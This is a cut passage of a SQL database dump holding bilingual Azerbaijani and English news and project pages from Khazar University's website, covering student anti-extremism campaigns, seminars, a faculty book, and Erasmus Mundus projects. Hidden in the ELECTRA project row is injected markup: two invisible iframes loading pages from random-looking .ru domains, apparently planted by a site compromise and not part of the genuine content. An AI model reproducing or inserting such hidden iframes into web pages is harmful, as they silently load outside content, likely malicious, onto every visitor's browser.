target=\"_blank\"><strong>http://525.az/site/?name=xeber&amp;news_id=56301</strong></a><strong>.</strong></p>'),(1712,1063,'en','Student Campaign against Extremism on Local News Site','On May 3, 2016, an article was published on the official website of 525 Newspaper about the Imagine Team, a group of students of Khazar University’s School of Economics and Management majoring in finance, business administration and management, who are implementing a campaign against extremism as part of a competition run by Edventure in the Peer to Peer (P2P) program.','<p>On May 3, 2016, an article was published on the official website of 525 Newspaper about the Imagine Team, a group of students of Khazar University’s School of Economics and Management majoring in finance, business administration and management, who are implementing a campaign against extremism as part of a competition run by Edventure in the Peer to Peer (P2P) program.</p><p>The full news article is available (in Azerbaijani) at the following link:</p><p><a href=\"http://525.az/site/?name=xeber&amp;news_id=56301\" target=\"_blank\">http://525.az/site/?name=xeber&amp;news_id=56301</a>.</p>'),(1713,1064,'en','P2P: Challenging Extremism program - Meet the Imagine Team of Khazar University','In May 2016, the Imagine Team is continuing to carry out activities in the frame of the marketing campaign they are working on.\r\n \r\nThe Imagine Team is composed of students of the School of Economics and Management of Khazar University. The team was formed to participate in the P2P: Challenging Extremism program, a global university youth initiative and international competition supported by the U.S. Department of State.\r\n ','<div>In May 2016, the Imagine Team is continuing to carry out activities in the frame of the marketing campaign they are working on.</div><div>&nbsp;</div><div>The Imagine Team is composed of students of the School of Economics and Management of Khazar University. The team was formed to participate in the P2P: Challenging Extremism program, a global university youth initiative and international competition supported by the U.S. Department of State.</div><div>&nbsp;</div><div>The team is led by Ms. Sana Imran, marketing instructor, and includes nine students:</div><div>&nbsp;</div><div>Alihuseyn Agayev (Management, 2013-2017)</div><div>Dinara Katibi (Accounting and Auditing, 2013-2017)</div><div>Erlan IsmaiIov (Finance, 2013-2017)</div><div>Kamilla Lyatifova (Marketing, 2013-2017)</div><div>Nadir Gadirli (Finance, 2013-2017)</div><div>Narmin Abbasova (Accounting and Auditing, 2013-2017)</div><div>Narmin Zari&nbsp;(Business Administration, 2013-2017)</div><div>Suleyman Yagizarov (Finance, 2013-2017)</div><div>Ulviyya Azizova (Finance, 2013-2017)</div><div>&nbsp;</div><div>The name of the team comes from their wish to see the world free from extremism and violence. Imagine Team promotional materials read, “Imagine a world free of violence. Imagine a world where everyone is treated equally. Imagine a world where there are no boundaries of nationalities, races, religions or sects. Let’s no longer accept the world we live in and use such excuses as \'it is just the way things are’ to justify inaction. Violence is and can never be \'just the way things are.’”</div><div>The Imagine Team calls everyone to join them in their fight against extremism. “The Imagine Team is all set to hold the hand of every child, to protect him / her from the extremist world &amp; to promise a better and brighter tomorrow. Are you also ready?!?”</div>'),(1714,1065,'en','Khazar University Instructor Publishes Book','On April 19, 2016, a book entitled “Devriye, Yaşname, Elifname” by Associate Professor Elmira Mammadova-Kekechin, instructor of the Department of Azerbaijani Language and Literature at Khazar University, was published in Germany by Turkish Scholar Books.','<p>On April 19, 2016, a book entitled “Devriye, Yaşname, Elifname” by Associate Professor Elmira Mammadova-Kekechin, instructor of the Department of Azerbaijani Language and Literature at Khazar University, was published in Germany by Turkish Scholar Books.</p><p>The book is being sold on&nbsp;<strong>Amazon.com</strong>.</p><p>&nbsp;</p>'),(1715,1065,'az','Xəzər Universitetinin müəlliminin kitabı nəşr olundu','2016-cı il aprelin 19-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin müəllimi dosent Elmira Məmmədova-Kekeçin “Devriye, Yaşname, Elifname”adlı kitabı “Türkiyə Alim Kitabları” nəşriyyatında (Almaniya) çapdan çıxmışdır.','<p>2016-cı il aprelin 19-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin müəllimi dosent Elmira Məmmədova-Kekeçin “Devriye, Yaşname, Elifname”adlı kitabı “Türkiyə Alim Kitabları” nəşriyyatında (Almaniya) çapdan çıxmışdır.</p><p>Kitab&nbsp;<strong><em>Amazon.com</em></strong>-da satışdadır.</p>'),(1716,1066,'en','P2P: Challenging Extremism – Promotional Activity of Khazar\'s Imagine Team at Park Bulvar','On April 27, 2016, the Imagine Team of Khazar University held their promotional campaign at one of the busiest malls of Baku – Park Bulvar. The promotional activity caught the attention of many visitors, both local and international. ','<p>On April 27, 2016, the Imagine Team of Khazar University held their promotional campaign at one of the busiest malls of Baku – Park Bulvar. The promotional activity caught the attention of many visitors, both local and international.&nbsp;</p><p>&nbsp;</p><p>The main goal of the promotional event at the mall was to raise public awareness about the negative impacts of extremism and provide information about the Team\'s efforts in fighting it. The Team distributed flyers for their campaign among mall visitors and informed them about the photo contest carried out by the team as part of their marketing strategy.</p><p>&nbsp;</p><p>The main goal of the photo contest, which is being carried out on a social platform, is to select a picture taken with an umbrella (the symbol of the Imagine Team) that receives the most votes from the audience. Shoppers delightfully posed with an umbrella and the members of the team.</p><p>&nbsp;</p><p>A lucky draw contest was also held at the mall. The winners of the contest were awarded with Imagine Team Mugs.&nbsp;</p><p>&nbsp;</p><p>This was another successful event carried out by the Imagine Team of Khazar University as part of the marketing campaign they are implementing as part of their participation in P2P: Challenging Extremism program, a global university youth initiative and an international competition supported by the U.S. Department of State.</p><p>&nbsp;</p>'),(1717,1067,'az',' “Xəzər”in tələbəsi “kişilərdə depressiya”dan yazdı','2016-cı il mayın 2-də xalqxeber.az xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin tələbəsi Nərmin Quliyevanın “Kişilərdə depressiya: onlar intihara daha çox meyl edir” adlı yazısı yayınlanmışdır.','<p>2016-cı il mayın 2-də<strong><em>&nbsp;xalqxeber.az</em></strong>&nbsp;xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin tələbəsi Nərmin Quliyevanın “Kişilərdə depressiya: onlar intihara daha çox meyl edir” adlı yazısı yayınlanmışdır.</p><p>Yazını tam şəkildə bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html\" target=\"_blank\">http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html</a>.</p>'),(1718,1067,'en','Khazar Student Writes about Depression in Men','On May 2, 2016, the xalqxeber.az news site published an article by Narmin Guliyeva, student of Khazar University’s School of Humanities and Social Sciences, entitled “Depression in men: they are more likely to commit suicide.”','<p>On May 2, 2016, the xalqxeber.az news site published an article by Narmin Guliyeva, student of Khazar University’s School of Humanities and Social Sciences, entitled “Depression in men: they are more likely to commit suicide.”</p><p>The full text of the article is available at the following link:</p><p><a href=\"http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html\" target=\"_blank\">http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html</a>.</p>'),(1719,1068,'az','“Xəzər”in müəllimi Azərbaycan Dövlət İqtisad Universitetində təlim keçmişdir','2016-cı il aprelin 30-da Azərbaycan Dövlət İqtisad Universitetinin əsas binasında Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılova və “İqtisadçı Tələbələrin Elmi Fəaliyyətinə Yardım” İctimai Birliyinin BİM üzrə fakültə sədrinin təşəbbüsü ilə Xəzər Universitetinin müəllimi fəlsəfə doktoru Mail Yaqubun “XX əsr Avropa fəlsəfəsində Tanrı və insan münasibətləri” adlı təlimi keçrildi.','<p>2016-cı il aprelin 30-da Azərbaycan Dövlət İqtisad Universitetinin əsas binasında Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılova və “İqtisadçı Tələbələrin Elmi Fəaliyyətinə Yardım” İctimai Birliyinin BİM üzrə fakültə sədrinin təşəbbüsü ilə Xəzər Universitetinin müəllimi fəlsəfə doktoru Mail Yaqubun “XX əsr Avropa fəlsəfəsində Tanrı və insan münasibətləri” adlı təlimi keçrildi.Təlimdə Azərbaycan Dövlət İqtisad Universitetinin tələbələri ilə yanaşı, Xəzər Universitetinin, Qafqaz Universitetinin, Azərbaycan Respublikasının Prezidenti yanında Dövlət İdarəçilik Akademiyasının və digər ali təhsil müəssisələrnin tələbələri, eləcə də, qonaq qismində Polşanın Yagelon Universitetindən gəlmiş sərbəst tədqiqatçı Julia Krajcarz, Bakı Slavyan Universitetinin məzunu dövlət qulluqçusu Səidə Abdullayeva da iştirak edirdilər.</p><p>Təliminin sonunda Mail Yaqub tələbələri maraqlandıran sualları cavablandırdı.</p>'),(1720,1068,'en','Khazar Instructor Leads Training at Azerbaijan State Economics University','On April 30, 2016, a training entitled “Relations Between God and Man in XX Century European Philosophy” was led by Dr. Mail Yagub, Khazar University instructor, in the main building of the Azerbaijan State Economics University with the initiative of Gunel Ismayilova, assistant to the Department of Azerbaijani Language and Literature, and the chairman of the Public Union to Assist Academic activities of Economics Students.','<p>On April 30, 2016, a training entitled “Relations Between God and Man in XX Century European Philosophy” was led by Dr. Mail Yagub, Khazar University instructor, in the main building of the Azerbaijan State Economics University with the initiative of Gunel Ismayilova, assistant to the Department of Azerbaijani Language and Literature, and the chairman of the Public Union to Assist Academic activities of Economics Students. Participants in the training included students of Azerbaijan State Economics University, Khazar University, Qafqaz University, the State Administration Academy of the President of the Azerbaijan Republic, and other higher education institutions as well as special guests Julia Karjcarz (independent researcher from Jagiellonian University of Poland) and Saida Abdullayeva, civil servant and graduate of Baku Slavic University.</p><p>At the end of the training, Mail Yagub answered students’ questions.</p>'),(1721,1069,'az','Türkiyəli magistrant Tarix və arxeologiya departamentində oldu','2016-cı il aprelin 28-də Xəzər Universiteti Tarix və arxeologiya departamentində Türkiyənin Çankırı Karatekin Universitetinin magistrantı Sümeyra Türklə elmi görüş keçirildi. Görüşün mövzusu “Orta əsrlərdə Türk-Ərəb əlaqələri tarixi” idi. ','2016-cı il aprelin 28-də Xəzər Universiteti Tarix və arxeologiya departamentində Türkiyənin Çankırı Karatekin Universitetinin magistrantı Sümeyra Türklə elmi görüş keçirildi. Görüşün mövzusu “Orta əsrlərdə Türk-Ərəb əlaqələri tarixi” idi. Görüşdə Avrasiya və Orta Şərq Araşdırmaları Mərkəzinin direktoru Fərda Əsədov, departamentin müdiri dosent Roza xanım Arazova, departamentin müəllimi dosent Yeganə Çağlayan iştirak edirdilər. Elmi müzakirədə Türk-Ərəb əlaqələri tarixi problemi üzrə əhəmiyyətli araşdrımalar, o cümlədən, Azərbaycan tarixçilərinin araşdırmaları haqqında müzakirələr aparıldı. Görüşdə, həmçinin, Çankırı Karatekin Univeristetinin magistrantı Sümeyra Türkə elmi araşdırması üçün elmi məsləhətlər də verildi.'),(1722,1069,'en','Turkish Master’s Student Visits Department of History and Archeology','On April 28, 2016, Sumeyra Turk, master’s student of Çankırı Karatekin University in Turkey, held an academic seminar with the Khazar University Department of History and Archeology. The seminar was entitled “Turkish-Arab Relations in the Middle Ages.”','On April 28, 2016, Sumeyra Turk, master’s student of Çankırı Karatekin University in Turkey, held an academic seminar with the Khazar University Department of History and Archeology. The seminar was entitled “Turkish-Arab Relations in the Middle Ages.” Participants in the meeting included Dr. Farda Asadov, Director of the Center for Eurasia and Middle East Studies; Associate Professor Roza Arazova, Head of the Department of History and Archeology; and Associate Professor Yegana Caglayan, instructor for the department. The seminar included a discussion about the importance of the history of Turkish-Arab relations as well as research carried out by Azerbaijani scholars. The participants also gave advice to Sumeyra Turk regarding her academic research.'),(1728,1074,'az','Tvinninq layihəsinin müşaviri ilə görüş keçirildi','2016-cı il mayın 4-də Xəzər Universitetində “Ali təhsil sisteminin Avropa Ali Təhsil Məkanının tələblərinə daha da uyğunlaşdırılması məqsədilə Azərbaycan Respublikasının Təhsil Nazirliyinə dəstək göstərilməsi” Tvinninq layihəsinin müşaviri Reijo Aholainen ilə görüş keçirildi. Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Hamlet İsaxanlı, universitetin rektoru Dr. Hasan Niknafs, İnkişaf üzrə direktor Raziyə İsayeva və Biologiya departamentinin rmüdiri İradə Xəlilova iştirak edirdilər. ','<p>2016-cı il mayın&nbsp;4-də Xəzər Universitetində “Ali təhsil sisteminin Avropa Ali Təhsil Məkanının tələblərinə daha da uyğunlaşdırılması məqsədilə Azərbaycan Respublikasının Təhsil Nazirliyinə dəstək göstərilməsi” Tvinninq layihəsinin müşaviri Reijo Aholainen ilə görüş keçirildi. Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Hamlet İsaxanlı, universitetin rektoru Dr. Hasan Niknafs, İnkişaf üzrə direktor Raziyə İsayeva və Biologiya departamentinin rmüdiri İradə Xəlilova iştirak edirdilər. Görüşün əsas məqsədi Azərbaycanda doktorantura təhsilinin təkmilləşdirilməsi və yaxşılaşdırılması məsələsini müzakirə etmək və tövsiyələr vermək idi.</p><p>Görüşdə Keyfiyyətin Təminatı Mərkəzinin rəhbəri Lyudmila Sotova mərkəzin fəaliyyəti barədə təqdimat etdi. Sonra isə Magistratura, Doktorantura və Elmi İşlər Şöbəsinin direktoru Eldar Şəhgəldiyev doktoranturada təhsilin keyfiyyətinin yüksəldilməsinə dair tövsiyələrini verdi.</p><p>Görüş nəticəsində gələcəkdə daha sıx əməkdaşlıq etmək və növbəti görüşlərin keçirilməsi qərara alındı.</p><p>Qeyd edək ki, Tvinninq layihəsinin ümumi məqsədi Avropa ali təhsil məkanına inteqrasiya etməklə Azərbaycanda ali təhsil sisteminin daha da inkişaf etdirilməsi, Boloniya prosesinə aid siyasətin inkişaf etdirilməsi, Avropa ali təhsil məkanının məqsədlərinin və əsas alətlərinin həyata keçirilməsi üçün Azərbaycan Respublikasının Təhsil Nazirliyinin və digər aidiyyatı qurumların institusional imkanlarının artırılmasıdır.</p>'),(1729,1074,'en','Meeting with Advisor to Twinning Project','On May 4, a meeting was held at Khazar University with Reijo Aholainen, Advisor for the \"Support to the Ministry of Education for further adherence of the higher education system to the European Higher Education Area\" Twinning Project. Participants in the meeting included Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; Dr. Hasan Niknafs, President of the University; Raziya Isayeva, Development Director; and Dr. Irada Khalilova, Head of the Biology Department.','<p>On May 4, a meeting was held at Khazar University with Reijo Aholainen, Advisor for the \"Support to the Ministry of Education for further adherence of the higher education system to the European Higher Education Area\" Twinning Project. Participants in the meeting included Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; Dr. Hasan Niknafs, President of the University; Raziya Isayeva, Development Director; and Dr. Irada Khalilova, Head of the Biology Department. The main objective of the meeting was to discuss the further development of doctoral studies in Azerbaijan and to make recommendations.</p><p>During the meeting, Lyudmila Sotova, Director of the Quality Assurance Center, made a presentation about the center activities. ThenDr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, made recommendations for increasing the quality of doctoral education.</p><p>As a result of the meeting, a decision was made to develop a close working relationship with the Twinning project and to hold further meetings for discussion.</p><p>The main goals of the Twinning project are to further develop the higher education system in Azerbaijan by means of integration into the European Higher Education Area, to develop policies about the Bologna System, and to increase the capacity of the Ministry of Education and similar institutions of the Azerbaijan Republic to implement the objectives and tools of the European Higher Education Area.</p>'),(1730,796,'az',' EUROEAST',' EUROEAST','<p><strong><strong>Start Date:</strong>&nbsp;    September, 2012  <br></strong></p><p><strong><strong>Duration:</strong>&nbsp;    48 months  </strong></p><p>The partnership has been carefully selected in order to ensure both a fair geographical balance and Academic excellence proven by the position covered in national and international&nbsp;ranking by the represented Universities. It is spread and diversified: the eight European Partners, four comprehensive universities and four technical ones, assure a full coverage of all fields of studies; the ENPI East Universities are twelve in order to cover all six countries included in the Lot (one is from Armenia, two are from Azerbaijan, Georgia, Belarus and Ukraine, three are from Moldova). In composing the partnership, special attention has been paid to covering of strategic disciplines such as Engineering, Agriculture, Geography, Geology, Law, Natural and Social Sciences.</p><p>The planned number of mobility flows (258), by far larger than the minimum number required for this Lot (150), has been defined taking into account every partner’s needs in terms of academic level, duration and range of academic disciplines, in order to make the impact on beneficiaries and their institutions significant and worthwhile.</p><p>The Partnership decided to focus the motilities mainly on Target Group 1, representing 89% of the total mobility flows, in order to foster and improve the current relations among the Partner Universities especially in the field of student mobility and joint research projects. The remaining part of the available grants (11%) is planned for Target Group 2, with the goal of providing cooperation opportunities with the Associate Partner Universities and other institutions not included in the partnership, as well as educational opportunities to individuals not belonging to the Partner Universities. A significant number of Staff motilities (18%) has been planned with the goal of strengthening the institutional relations among the Partnership members through Academic and Administrative staff exchanges.</p><p><strong><strong>Brief information and main objectives:</strong>&nbsp;<br></strong></p><p>The&nbsp;<strong>EUROEAST</strong>&nbsp;project is fully in line with the objectives and priorities underlined in the ENPI Eastern Regional Programme Strategy Paper and in the ENPI East Countries Action Plans. In terms of specific goals of the Higher Education sector, the project aims at building and strengthening links and co-operation in “people-to-people” contacts in education and research in order to provide academics, decision-makers and other professionals in ENPI East and EU with opportunities generated by the development of a sustainable network of European and ENPI East HEIs and the resulting teaching and research programmes in areas that influence development policies.</p><p>In detail the Partnership aims at pursuing the following results in line with the Erasmus Mundus goals:</p><ul><li>Fostering the institutional cooperation and mutual recognition and enrichment among European and ENPI East HEIs through a transfer of know-how and good practices and increasing, at the same time, the cooperation and good neighbourly relations among the ENPI East partners;</li><li>Supporting ENPI East HEIs to enhance internationalization, through the harmonization of the ENPI East HE systems with international standards;</li><li>Building the management capacities of ENPI East HEIs reducing, for e.g. unnecessary regulations and bureaucratic procedures related to international collaboration and supporting the establishment of more robust arrangements for institutional and programme quality assurance</li></ul><p>Widening through the international mobility, the educational and scientific horizons of academic and administrative staff, bringing benefits to the future relationships between EU and ENPI East countries.</p><p><strong><strong>Coordinator and partners:</strong>&nbsp;<br></strong></p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.polito.it/\">POLITO – Politecnico di Torino</a></p><p><strong>Joint Coordinator:</strong></p><p><a href=\"http://www.inter.kpi.ua/\">NTUU “KPI” - KYIV Polytechnic Institute</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.aalto.fi/en/\" target=\"_blank\">AALTO - Aalto University</a></p><p><a href=\"http://www.amu.edu.pl/\" target=\"_blank\">AMU - Adam Mickiewicz University</a></p><p><a href=\"http://www.fu-berlin.de/en\" target=\"_blank\">FUB - Freie Universität Berlin</a></p><p><a href=\"http://www.ist.utl.pt/\" target=\"_blank\">IST - Instituto Superior Tecnico</a></p><p><a href=\"http://www.ugent.be/\" target=\"_blank\">UGENT - Universiteit Gent</a></p><p><a href=\"http://www.univ-montp2.fr/\" target=\"_blank\">UM2 - University of Montpellier 2</a></p><p><a href=\"http://www.upv.es/\" target=\"_blank\">UPV - Universidad Politecnica de Valencia</a></p><p><a href=\"http://www.gsu.am/\" target=\"_blank\">GSU - Gavar State University</a></p><p><a href=\"http://bsu.edu.az/\" target=\"_blank\">BSU - Baku State University</a></p><p><a href=\"http://www.khazar.org/v1017/\" target=\"_blank\">Khazar University</a></p><p><a href=\"http://www.iliauni.edu.ge/\" target=\"_blank\">ISU - Ilia State University</a></p><p><a href=\"http://bsu.edu.ge/\" target=\"_blank\">RSU - Shota Rustaveli State University</a></p><p><a href=\"http://www.brsu.by/\" target=\"_blank\">BRSU - Brest State University</a></p><p><a href=\"http://www.grsu.by/\" target=\"_blank\">YKSUG - Grodno State University Yanka Kupala</a></p><p><a href=\"http://www.uasm.md/en\" target=\"_blank\">SAUM - State Agrarian University of Moldova</a></p><p><a href=\"http://www.usb.md/\" target=\"_blank\">USB - Alecu Russo Balti State University</a></p><p><a href=\"http://www.utm.md/\" target=\"_blank\">TUM - Technical University of Moldova</a></p><p><a href=\"http://www.chnu.cv.ua/\" target=\"_blank\">CHNU - Yuriy Fedkovych Chernivtsi National University</a></p><p><br></p><p><strong><strong>Contact:</strong>&nbsp;</strong></p><p><strong><strong>Turan Jafarova:&nbsp;</strong><a href=\"mailto: tjafarova@khazar.org\">tjafarova@khazar.org</a>&nbsp;</strong></p><p><strong><strong>Useful links:</strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.euroeast.polito.it/\" target=\"_blank\">http://www.euroeast.polito.it/</a>&nbsp;</strong></p>'),(1731,795,'az',' ELECTRA',' ELECTRA','<div><br></div><div><p><strong>ELECTRA: Enhancing Learning in ENPI Countries Through Clean Technologies and Research-related Activities</strong></p><p><strong><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      October, 2012  </span><br></strong></p><p><strong><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      48 months  </span></strong></p><p><strong>Brief information and main objectives:</strong>  <br></p><p>ELECTRA is a project proposal that enhances quality in higher education and&nbsp;promotes intercultural understanding through research co-operation with third countries, particularly in the fields of energy, environment and industrial applications. The project is coordinated by Oldenburg University who has been partner member in Erasmus Mundus projects since 2010 and coordinator of a running Tempus project with ENPI countries. All corners of Europe are represented, from Portugal to the Baltic countries passing by Ireland, Germany to Bulgaria. In ENPI countries, capitals and regions are represented as well (like Batumi, Odessa, Zaporizhzhya).</p><p>Special attention is given to the roles of associated partners including research centers, ministries of&nbsp;education, association of universities in both ENPI and Europe, quality assurance agencies and&nbsp;environmental agencies in third countries.</p><p>During the lifespan of the project, selected candidates will be trained and formed in a variety of universities with large experience in exchange mobility, campus of excellence in targeted areas, and with the possibility of practical internships in numerous programs.By improving the skills of present and future engineers, environmentalists, policy makers in energy, soil and water management and related areas, while encouraging employability and avoiding brain drain, ELECTRA expects to contribute positively to the local and regional development of ENPI countries. Multi-country initiatives are sought too.</p><p>ELECTRA is a project that attempts to bring closer cooperation between EU and&nbsp;ENPI countries so as to increase research and produce multiplier effects in areas related to Green&nbsp;Energy, Environment and Sustainable Development. These are the three main areas of action within&nbsp;the European COST network.</p><p>Likewise, the project will reinforce educational, cultural, scientific and technological links between&nbsp;partners while implementing EHEA tools and mechanisms that promote transparency and recognition of studies abroad.</p><p><strong>Other specific objectives of the project are:</strong></p><ul><li>Promotion of the knowledge-based triangle science-enterprise-university by targeting applied research&nbsp;in the PhD and post-doc proposals;</li></ul><ul><li>Integration of Bologna educational system and Lisbon Strategy in Central Asian partner institutions&nbsp;with support of Ministries of Education&nbsp;</li></ul><ul><li>Contribution to the development of qualification frameworks in priority field areas</li></ul><ul><li>Contribution to lifelong learning and employability of students.</li></ul><p><strong>Coordinator and partners:</strong>&nbsp;</p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.uni-oldenburq.de/\">Oldenburg University</a></p><p><strong>Joint Coordinator:</strong></p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.upv.es/\">Politechnico de Valencia</a></p><p><a href=\"http://www.polito.it/\">Politechnico di Torino</a></p><p><a href=\"http://www.ul.ie/\">Limerick University</a></p><p><a href=\"http://www.uminho.pt/\">Universidade do Minho</a></p><p><a href=\"http://www.oulu.fi/\">Oulu University</a></p><p><a href=\"http://www.uj.edu.pl/\">Jagiellonian University</a></p><p><a href=\"http://www.uctm.edu/\">University of Chemical Technology and Metallurgy</a></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p><a href=\"http://bsu.edu.ge/\">Batumi Shota Rusteveli State University</a></p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.opu.ua/\">Odessa Technological University</a></p><p><a href=\"http://www.univ.kiev.ua/\">Kyiv National Taras Shevchenko University</a></p><p><a href=\"http://www.znu.edu.ua/\">Zaporizhzhya National University</a></p><p><a href=\"http://www.bntu.by/\">Belarusian Technical University</a></p>  <p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p><strong>Contact:</strong>  <br></p><p><strong>Hassan Niknafs :&nbsp;hniknafs@khazar.org</strong></p><p><strong>Shabnam Najafzadeh:&nbsp;snajafzadeh@khazar.org</strong></p><p><strong>Useful links:</strong>  <br></p><p><a href=\"http://www.electra-project.eu/\" target=\"_blank\">http://www.electra-project.eu/</a>&nbsp;</p></div>  <!-- ELRTE_SCRIPT:script08579196728728666 --><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(1732,794,'az','Ember','Ember','<p><strong>EMBER</strong><strong>:&nbsp;</strong><strong>Erasmus Mundus Broadening Educational Experiences</strong></p><p><strong><strong><strong>Start Date:</strong>&nbsp; September, 2013</strong>  <br></strong></p><p><strong><strong>Duration:</strong>&nbsp;&nbsp;<strong>48 months</strong>  <br></strong></p><p><strong>Brief information and main objectives:</strong>  <br></p><p>The project Erasmus Mundus Broadening Educational Experiences (EMBER) is an Erasmus Mundus Action 2 (EMA2) consortium that comprises</p><p>twenty partner higher education institutions and four associated&nbsp;</p><p>partners from Western/Central/Eastern Europe all the way to the South Caucasus. The consortium includes institutions from all five of the&nbsp;</p><p>Lot 5 countries targeted by the Eastern</p><p>Neighbourhood and Partnership Instrument (ENPI).<br><br>EMBER concerns itself specifically with the Thematic Fields of Economics, Business, Languages, and Sociology. The project envisages a total of 173 mobilities</p><p>to be completed over three cohorts,&nbsp;</p><p>148 mobilities are to 3rd Country Partners, and 25 mobilities to its European Partners.</p><p>Project Management:</p><p><strong>Coordinator:</strong>&nbsp;The Project Coordinator manages the administrative, legal and financial matters of the Partnership and is responsible&nbsp;</p><p>for all contacts with the EACEA.&nbsp;</p><p>The Coordinator shall report to the Partners in such a way that these have full insight into the administrative, legal and financial matters.</p><p><strong>Co-Coordinator:</strong>&nbsp;The role and contribution of the co-coordinator is joint coordination and management tasks of the partnership relating to&nbsp;</p><p>academic, administrative and financial aspects.&nbsp;</p><p>The co-coordinator will put forward best practices and experience, its institutional capacity and knowledge to fulfill the specific tasks to&nbsp;</p><p>ensure outreach, visibility, and performance of the project.</p><p><strong>Partners:</strong>&nbsp;All Project Partners commit to plan and organize their respective activities within the programme and specifically the promotion&nbsp;</p><p>of individual mobility from their university&nbsp;</p><p>according to the general principles decided by the Project Management Board.&nbsp;</p><p><strong>Associate Partners:</strong>&nbsp;The Associate Partners were selected in order to maximize the impact of the expected results of the project.</p><p>In addition to that the associated partners</p><p>will support the promotion of the project in terms of dissemination information material and to communicate the objectives to interested persons.</p><p>Project Management Board:</p><p>Coordinator (University of Seville),</p><ul><li>Co-Coordinator (Tbilisi State University)</li></ul><p>Responsibilities&nbsp;:</p><p>Project Oversight</p><ul><li>Delegating responsibilities to EMBER Project Representatives</li></ul><p>Selection Board&nbsp;:&nbsp;</p><p>Permanent Members: Coordinator + Co-Coordinator</p><ul><li>Temporary Members: 3 EU Partners +1 Third Country Partner</li></ul><p>Responsibilities&nbsp;:<br>Responsible for the selection process.</p><p>Quality Assurance Board&nbsp;:&nbsp;<br>Permanent Members: Coordinator + Co-Coordinator</p><ul><li>Permanent Members: 1 EU Partners +1 Third Country Partner</li></ul><p>Responsibilities&nbsp;:<br>Collect and compile an executive summary of internal quality assurance materials.</p>'),(2033,1234,'az','Xəzər Universiteti ilə Yunus Əmrə İnstitutu arasında əməkdaşlıq müqaviləsi imzalandı','2016-cı il iyunun 28-də Xəzər Universitetinində təxminən 40-dan çox ölkədə şöbəsi olan və elmi, mədəni fəaliyyət göstərən Yunus Əmrə İnstitutu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 28-də Xəzər Universitetinində təxminən 40-dan çox ölkədə şöbəsi olan\r\nvə elmi, mədəni fəaliyyət göstərən Yunus Əmrə İnstitutu ilə Xəzər Universiteti\r\narasında əməkdaşləq müqaviləsi imzalandı. Xəzər Universiteti ilə Yunus Əmrə\r\nİnstitutu arasında bağlanan əməkdaşlıq müqaviləsinin əsasını Türkiyədə\r\nmagistratura və doktorantura pilləsində təhsil almaq istəyən Xəzər Universiteti\r\ntələbələrinə türk dili dərslərinin təşkili və sertifikatların verilməsi təşkil\r\nedir. Eyni zamanda, bu əməkdaşlıq çərçivəsində müxtəlif mədəni-sosial tədbirlərin\r\ntəşkili, elmi konfrans və seminarların da keçirilməsi nəzərdə tutulur. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı, universitetin rektoru Dr. Hassan Niknafs, Təhsil fakültəsinin\r\ndekanı Dr. Elza Səmədli, Tarix departamentinin müdiri Dr. Roza Arazova, Azərbaycan\r\ndili və ədəbiyyatı departamentinin müdiri Dr. Vurğun Əyyub, Dillər və mədəniyyətlər\r\ndepartamentinin müdiri Dr. Elnurə Əzizova və Yunus Əmrə İnstitutunun Bakı şöbəsinin\r\nrəhbəri Dr. İbrahim Yıldırım, Təhsil şöbəsinin koordinatoru Ali İhsan Çevik və türk\r\ndili müəllimi Aydan Umudova iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə,\r\neyni zamanda, Yunus Əmrə İnstitutu ilə Xəzər Universiteti arasındakı əməkdaşlığın\r\nprespektivləri də müzakirə olundu. Görüşdən sonra qonaqlar Xəzər\r\nUniversitetinin fəaliyyəti ilə yaxından tanış olmaq məqsədilə universitetin\r\nkitabxanasını, mədəniyyət mərkəzlərini, sinif otaqlarını, laboratoriyalarını və\r\nəlaqədar qurumları gəzərək, TİKA tərəfindən qurulan Türk Dünyası Araşdırmaları\r\nMərkəzini də ziyarət etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin Türkiyə 